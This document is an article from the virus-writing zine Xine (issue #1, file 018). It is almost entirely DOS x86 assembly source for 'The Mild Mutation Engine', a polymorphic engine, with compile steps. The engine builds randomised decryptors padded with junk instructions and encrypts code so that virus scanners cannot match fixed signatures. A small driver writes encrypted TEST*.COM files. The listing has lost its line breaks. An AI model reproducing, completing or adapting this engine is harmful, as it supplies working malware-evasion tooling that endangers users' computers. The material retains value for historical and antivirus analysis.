/-----------------------------\ | Xine - issue #1 - Phile 018 | \-----------------------------/ ;JHB presents ;The Mild Mutation Engine ; ; ;TO COMPILE ;tasm, tlink to exe ;then mk.bat to convert to com file ;mk.bat ;debug da1.exe ;nda1.com ;w ;q ;debug da1.com until the bp,bx then make bp = 0100 ;go ;done ;------------------------------------------------------ .286 shift_loop equ 2 code segment org 0h assume cs:code,ds:code start: virus_begin: virus_code: push ds es sub bx,offset virus_code mov bp,bx MOV Dl,byte PTR [GENERATION + bp] INC Dl MOV byte PTR [GENERATION +bp ],Dl ;ok start to set up for the call to the MME ;si - start of code to encrypted ;di = the buffer that will hold said decryptor and encrypted code ;cx = the lenght of the encrypted area ;dx = offset in the file for the decrytptor ;ax = size of the decryptor must be >26 bytes ; ;------------------------------------------------------------------------ MOV DX,0100h ;MAKES THE RIGHT OFFSET FOR COM FILES mov bx,virus_size /2 ;size of code to encrypt mov si,offset virus_code add si,bp mov di,offset encrypt_buffer add di , bp mov ax,40h call encrypt_code mov ax,di ;figures the new file mov di,offset encrypt_buffer ;size add di , bp ; sub ax,di ; push ax ; ;create the file to write the code to mov ax,3c00h XOR CX,CX MOV DX,OFFSET file_name add dx,bp INT 21H PUSH AX POP BX MOV AX,4000H pop cx MOV DX,OFFSET encrypt_buffer add dx,bp INT 21H POP ES DS mov ax,4C00H int 21H ;----------------------------------------------------------------------- ;dx = to the offset of the decryptor ;bx = size in words of code to be encrytped ;di = the buffer where we will leave the code ;si = the source of the to be encrypted code ;ax = size requested ; encrypt_code: push ax cx push bx ;push the size of the code to ;be encrypted push dx ;offset into the file where ;the decryptor is to be push ax ;requested size of the ;decryptor try_again: xor ah,ah ; get time for random number int 1Ah and dx,00000110b ;binary mask to keep ;the cipher to 2 4 6 cmp dx,0 je try_again mov word ptr[shift_amt + bp],dx ; save encryption key pop cx mov word ptr ds:[size_requested + bp],cx ;requested size of ;decryptor pop cx ;sets up the offset mov word ptr ds:[code_offset + bp] ,cx ;for the code pop cx ;sets the size of mov word ptr ds:[virus_size_wd + bp],cx ;code to be encrypted push cs ; ES = CS pop es call make_decrypt ;at this point si = start of the code to be encrypted ;while di = the point in buffer for it to be placed ;---------------------------------------------------------------------- ;EN-CRYPT_ROUTINE PUSH DX mov cx,VIRUS_SIZE / 2 + 1 encrypt: MOV DX,word ptr [shift_amt + bp] lodsw ; encrypt virus code XCHG DX,CX KEEP_GOING: CLC SHR AX,1 JNC NO_HIGH_BIT_EN ADD AX,1000000000000000B NO_HIGH_BIT_EN: DEC CX JCXZ DONE_2 JMP SHORT KEEP_GOING DONE_2: stosw XCHG DX,CX loop encrypt pop DX cx ax ret ;EN-CRYPT_ROUTINE ;-------------------------------------------------------------------- ;make decrypt routine ;data size_reg db 02h ;dx index_reg db 03h ;bx shift_reg db 01h ;cx holder_reg db 00h ;ax virus_size_wd dw 0 ;size of the code to be encrypted virus_start dw 0 ;where the code to encrypted is ; to be after it is encrypted ;determined by the MME SHIFT_AMT DW 02 code_offset dw 0 ;used to determine where we are ;placing the decrytor decrytptor_sz dw 26h ; size_requested dw 40h ;virus_size + 25h ;which is the constant decryptor ;size rgs_used db 00010011b ;do not use sp ax cx ;1 00000001 ax = 000 0 ;2 00000010 cx = 001 1 ;4 00000100 dx = 010 2 ;8 00001000 bx = 011 3 ;10 00010000 sp = 100 4 ;20 00100000 bp = 101 5 ;40 01000000 si = 110 6 ;80 10000000 di = 111 7 ;ds:di = the start of the buffer where the decryptor is to be make_decrypt: mov bx,ds:[decrytptor_sz + bp] ; dw 26h mov ax,ds:[size_requested + bp] ; dw 30h cmp ax,bx jg size_is_ok mov ax,bx mov byte ptr ds:[noise_amount+ bp],0 ;total # bytes to add mov word ptr ds:[size_requested + bp],26h ;starts jmp short no_noise_wanted size_is_ok: sub ax,bx mov byte ptr ds:[noise_amount+ bp],al ;total # bytes to add no_noise_wanted: mov ax,ds:[code_offset + bp] ;where the virus add ax,ds:[size_requested + bp] ;starts mov ds:[virus_start + bp],ax ; ;here is where the calls to mutate each reg should be ;those calls will also determine what size reg 16 or 8 bit to use ;where they can be changed call set_regs_used call mut_index_reg call mut_reg mov BYTE PTR DS:[SIZE_REG + BP],DL call mut_reg mov BYTE PTR DS:[HOLDER_REG + BP],DL call mut_reg mov BYTE PTR DS:[SHIFT_REG + BP],DL ;---------------------------------------------------------------------- ;this is where the actaul code generation starts ;---------------------------------------------------------- call get_noise call set_noise ;---------------------------------------------------------- mov aL,0B8H ;mov dx add aL,ds:[size_reg + bp] stosb mov ax,ds:[virus_size_wd + bp] stosw ;mov dx,virus_size/2 ;---------------------------------------------------------- call get_noise call set_noise ;---------------------------------------------------------- mov aL,0b8h add aL,ds:[index_reg + bp] ;how long stosb mov ax,ds:[virus_start + bp] stosw ;mov bx, offset virus_code ;---------------------------------------------------------- call get_noise call set_noise ;---------------------------------------------------------- mov aL,050h ;push reg add aL,ds:[index_reg + bp] stosb ;push bx ;---------------------------------------------------------- call get_noise call set_noise ;---------------------------------------------------------- mov aL,0b8h ;MOV ADD aL,ds:[SHIFT_reg + bp] STOSB MOV AX,DS:[SHIFT_AMT + bp] STOSW ;MOV CX,SHIFT_LOOP push di ; use to figure jnz 3j ;---------------------------------------------------------- call get_noise call set_noise ;---------------------------------------------------------------- MOV AL,02EH STOSB ;CS: ;------------------------------------------- MOV Al,8BH ;MOV MOV Ah,DS:[INDEX_REG + bp] CMP Ah,03H ;BX JNE NXT1 ; MOV Ah,07H ;THE OFFSET BX JMP SHORT DONE1 NXT1: CMP Ah,06H ;SI JNE NXT2 ; MOV Ah,04H JMP SHORT DONE1 NXT2: MOV Ah,05H DONE1: MOV DL,DS:[holder_reg + bp] shl dl,3 mov dh,11000111b ;zero out the rrr part and Ah,dh or Ah,dl ;put the value in STOSW ;MOV AX, CS:[BX] push di ;used for size figure for jmp 2j ;---------------------------------------------------------- call get_noise call set_noise ;----------------------------------------------------------- MOV AL,0F8H STOSB ;clc ;---------------------------------------------------------------- ; THIS AREA CAN BE MUTATED SEVERAL WAYS AT LEAST 4 ; D1 E0 90, D1 F0 90, C1 E0 01, C1 F0 01 mov dl,byte ptr ds:[SIZE_REG + BP] DB 0F6H, 0CAH, 01H ;OTHER FORM OF TEST ;TEST DL,01H ;JNE C1_CODE ; JMP C1_CODE mov al,0D1h ; JMP SHORT WRITE_IT ; C1_CODE: MOV AL,0C1h WRITE_IT: ;TEST DL,02H DB 0F6H, 0CAH, 02H ;OTHER FORM OF TEST ;jne Fo_code JMP FO_CODE mov ah,0E0h jmp short write_2 Fo_code: mov ah,0F0h write_2: add ah,ds:[holder_reg + bp] stosw ;shl ax,1 cmp al,0c1h je need_1 INC byte ptr DS:[NOISE_AMOUNT + BP] JMP SHORT NO_NEED_01 need_1: mov al,01 stosb NO_NEED_01: ;---------------------------------------------------------- call get_noise call set_noise ;---------------------------------------------------------- mov al,073h stosb call get_noise mov al,01h ;go one byte add al,bl ;how much noise stosb ; ;jnb ??? ;determine how many bytes the next ;instuction takes before and after it ;put that value in second al call set_noise ;---------------------------------------------------------------- mov al,40h add al,ds:[holder_reg + bp] stosb ;inc ax ;---------------------------------------------------------- call get_noise call set_noise ;---------------------------------------------------------- mov al,48h add al,ds:[shift_reg + bp] stosb ;dec cx ;---------------------------------------------------------- call get_noise call set_noise ;---------------------------------------------------------- mov al,83h stosb mov al,0f8h add al,ds:[shift_reg + bp] mov ah,00 stosw ;cmp cx,0 ;---------------------------------------------------------- call get_noise call set_noise ;---------------------------------------------------------- mov al,074h stosb mov al,02h ;again must track for variable call get_noise ;noise type instrusctions add al,bl stosb ;jz ??? call set_noise ;---------------------------------------------------------------- mov al,0ebh stosb ;again must track for variable mov bx,di pop ax sub ax,bx dec ax ;mov al,0f1h ;noise instruction stosb ;jmp ??? jmp 010f ;---------------------------------------------------------- call get_noise call set_noise ;---------------------------------------------------------- mov al,2eh stosb ;cs: ;------------------------------------------------------------ mov al,089h MOV Ah,DS:[INDEX_REG + bp] CMP Ah,03H ;BX JNE NXT1a ; MOV Ah,07H ;THE OFFSET BX JMP SHORT DONE1a NXT1a: CMP Ah,06H ;SI JNE NXT2a ; MOV Ah,04H JMP SHORT DONE1a NXT2a: MOV Ah,05H DONE1a: MOV DL,DS:[holder_reg + bp] shl dl,3 mov dh,11000111b ;zero out the rrr part and Ah,dh or Ah,dl ;put the value in STOSW ;MOV CS:[BX],AX ;---------------------------------------------------------- call get_noise call set_noise ;---------------------------------------------------------- mov al,83h stosb mov al,0c0h add al,ds:[index_reg + bp] mov ah,02 stosw ;add bx,2 ;---------------------------------------------------------- call get_noise call set_noise ;---------------------------------------------------------- mov al,48h add al,ds:[size_reg + bp] stosb ;dec dx ;---------------------------------------------------------- call get_noise call set_noise ;---------------------------------------------------------- mov bx,di pop ax sub ax,bx xor ah,ah sub al,5 xchg al,ah mov al,075h ;jnz ;mov ah,0e2h ;again needs to variable stosw ;---------------------------------------------------------------- mov al,05bh stosb ;pop bx ;---------------------------------------------------------------- ;should put in any missing bytes to fill in the end ; more_bytes_needed: mov bl,ds:[noise_amount + bp] cmp bl,0 je outta_here call set_noise cmp ds:[noise_amount + bp],0 je more_bytes_needed outta_here: ret ;---------------------------------------------------------------- get_noise: ;determine #noise bytes push dx xor dx,dx cmp byte ptr ds:[noise_amount + bp],0 je do_not_need cmp byte ptr ds:[noise_amount + bp],1 je only_one_needed too_big: get_more: call get_random ; 0-7 bytes in dl ok_1: cmp dl,byte ptr ds:[noise_amount + bp] jg too_big mov bx,dx do_not_need: pop dx ret ; only_one_needed: mov bx,01 jmp short do_not_need ;--------------------------------------------------------------- noise_amount db 0 ;--------------------------------------------------------------- last_noise db 0 ;--------------------------------------------------------------- ;1 00000001 ax = 000 0 ;2 00000010 cx = 001 1 ;4 00000100 dx = 010 2 ;8 00001000 bx = 011 3 ;10 00010000 sp = 100 4 ;20 00100000 bp = 101 5 ;40 01000000 si = 110 6 ;80 10000000 di = 111 7 ;--------------------------------------------- len_4 equ end_noise_4 - noise_4 noise_4: push ax ;1 int 11h ;2 pop ax ;1 end_noise_4: ;--------------------------------------------- len_6 equ end_noise_6 - noise_6 noise_6: push ax ;1 mov ax,0200h ;3 int 16h ;2 pop ax ;1 end_noise_6: ;--------------------------------------------- len_7 equ end_noise_7 - noise_7 noise_7: push ax mov ax,1200h int 16h pop ax end_noise_7: ;--------------------------------------------- ; ;on entry ;bl = number of bytes we want to use ;bh = flags to what we can not use ;also use the rgs_used used flag to allow usage of other regs ;in the do nothing routines set_noise: ;cmp bh,00h CMP BL,0 jne bytes_needed ret bytes_needed: push ax cx xor cx,cx mov cl,byte ptr ds:[noise_amount + bp] cmp cl,0 je no_more_bytes_need cmp bl,4 je add4 ;CMP BL,6 ;JE ADD6 cmp cl,7 jge add7 put_more: mov al,090h stosb dec cx dec bl cmp bl,0 jne put_more d_add7: mov byte ptr ds:[noise_amount + bp],cl no_more_bytes_need: pop cx ax ret ;--------------------------------------------- add7: push cx si mov si,offset noise_7 add si,bp mov cx,len_7 rep movsb pop si cx sub cx,7 jmp short d_add7 ;--------------------------------------------- add4: push cx xor cx,cx call chk_new_reg jc need_to_save_ax mov ax,11cdh stosw pop cx dec cx dec cx jmp short d_add7 need_to_save_ax: push si mov si,offset noise_4 add si,bp mov cx,len_4 rep movsb pop si cx sub cx,4 jmp short d_add7 ;--------------------------------------------- add6: push cx si mov si,offset noise_6 add si,bp mov cx,len_6 rep movsb pop si cx sub cx,6 jmp short d_add7 ;---------------------------------------------------------------- ;int 21 30 ax, ax bx cx -> get dos function ;int 21 20 ax, ax -> null function for cpm ;int 21 18 ax, ax -> null function for cpm ;int 21 0b ax, ax -> gets stdin input ;int 21 0d ax, ax -> disk reset ;int 21 06 ah dl = ffh, al -> direct console input ;int 13 10 ax dl, ax cf ->check if drive is ready ;int 16 12 ax, ax -> get extended shift states ;int 17 ah,dx ah -> get printer status ; ;---------------------------------------------------------------- last_random db 0 get_random: push ax cx new_random: xor ah,ah int 1ah and dl,00000111b cmp dl,ds:[last_random+bp] je new_random mov byte ptr ds:[last_random+bp],dl pop cx ax ret ;---------------------------------------------------------------- ;---------------------------------------------------------------- set_regs_used: push ax mov al,00010000b ;sp mov byte ptr ds:[rgs_used + bp],al pop ax ret ;---------------------------------------------------------------- mut_index_reg: pusha try_again_i: call get_random cmp dl,0 je try_again_i or dl,00000010b cmp dl,2 je try_again_i mov cl,dl call chk_new_reg jc try_again_i mov byte ptr ds:[index_reg + bp],dl popa ret ;===================================================================== mut_reg: push cx try_again_s: call get_random mov cl,dl call chk_new_reg jc try_again_s pop cx ret ;====================================================================== ;====================================================================== ;on call ;cl = the reg to use in the rrr format like cx = 001 ;if ok then c is not set and rgs_used is set ;if no good then c is set chk_new_reg: pusha xor ax,ax inc ax shl al,cl push ax and al,byte ptr ds:[rgs_used + bp] jz ok_to_use stc pop ax jmp short problem ok_to_use: ;this area will set the rgs_used flags pop ax or byte ptr ds:[rgs_used + bp],al problem: popa ret ;---------------------------------------------------------------- ;---------------------------------------------------------------- file_name db "TEST" GENERATION DB "A" EXT DB ".COM",0 bufferjhb db 0 virus_end: VIRUS_SIZE equ OFFSET virus_end - OFFSET virus_begin read_buffer db 28 dup (?) ; read buffer encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer end_heap: MEM_SIZE equ end_heap - start code ends end start